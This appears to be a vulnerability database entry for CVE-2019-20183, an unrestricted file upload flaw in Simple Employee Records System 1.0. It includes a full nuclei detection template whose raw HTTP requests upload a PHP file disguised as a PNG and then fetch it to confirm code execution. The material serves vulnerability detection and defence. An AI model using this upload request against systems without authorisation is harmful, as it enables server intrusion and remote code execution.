HexBrain

Browse / CVEs / CVE-2019-20183

CVE-2019-20183· employee records system project / employee records system· CWE-434

Simple Employee Records System 1.0 - Unrestricted File Upload

highseverity
7.2CVSS score
7.8%likelihood of exploitation, next 30 days
95%of all CVEs are less likely
Readycheck to confirm it

Simple Employee Records System 1.0 contains an arbitrary file upload vulnerability due to client-side validation of file extensions. This can be used to upload executable code to the server to obtain access or perform remote command execution.

Impact

Successful exploitation of this vulnerability can result in unauthorized access to the system, remote code execution, and potential compromise of sensitive data.

Fix

Apply the latest patch or update to Simple Employee Records System 1.0 to fix the unrestricted file upload vulnerability.

How to confirm it

Send: POST /dashboard/uploadID.php ; GET /uploads/employees_ids/{{endpoint}}
Positive when: contains in body_2 "1ad0d710225c472cb7396b3c1d97e4dd"

Run it with nuclei: nuclei -id CVE-2019-20183 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2019-20183

info:
  name: Simple Employee Records System 1.0 - Unrestricted File Upload
  author: pikpikcu,j4vaovo
  severity: high
  description: |
    Simple Employee Records System 1.0 contains an arbitrary file upload vulnerability due to client-side validation of file extensions. This can be used to upload executable code to the server to obtain access or perform remote command execution.
  impact: |
    Successful exploitation of this vulnerability can result in unauthorized access to the system, remote code execution, and potential compromise of sensitive data.
  remediation: |
    Apply the latest patch or update to Simple Employee Records System 1.0 to fix the unrestricted file upload vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/49596
    - https://medium.com/@Pablo0xSantiago/cve-2019-20183-employee-records-system-bypass-file-upload-to-rce-ea2653660b34
    - https://nvd.nist.gov/vuln/detail/CVE-2019-20183
    - https://medium.com/%40Pablo0xSantiago/cve-2019-20183-employee-records-system-bypass-file-upload-to-rce-ea2653660b34
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 7.2
    cve-id: CVE-2019-20183
    cwe-id: CWE-434
    epss-score: 0.0777
    epss-percentile: 0.94691
    cpe: cpe:2.3:a:employee_records_system_project:employee_records_system:1.0:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: employee_records_system_project
    product: employee_records_system
  tags: cve,cve2019,edb,rce,fileupload,intrusive,employee_records_system_project,vuln

http:
  - raw:
      - |
        POST /dashboard/uploadID.php HTTP/1.1
        Host: {{Hostname}}
        Accept: application/json, text/javascript, */*; q=0.01
        X-Requested-With: XMLHttpRequest
        Content-Type: multipart/form-data; boundary=---------------------------5825462663702204104870787337

        -----------------------------5825462663702204104870787337
        Content-Disposition: form-data; name="employee_ID"; filename="poc.php"
        Content-Type: image/png

        <?php
        echo md5('CVE-2019-20183');
        unlink(__FILE__);
        ?>
        -----------------------------5825462663702204104870787337--
      - |
        GET /uploads/employees_ids/{{endpoint}} HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        part: body_2
        words:
          - "1ad0d710225c472cb7396b3c1d97e4dd"

    extractors:
      - type: regex
        name: endpoint
        regex:
          - '(?:[a-zA-Z0-9+\/])*_poc.php'
        internal: true
        part: body

References

Use this check only on systems you are authorised to test. Where the data comes from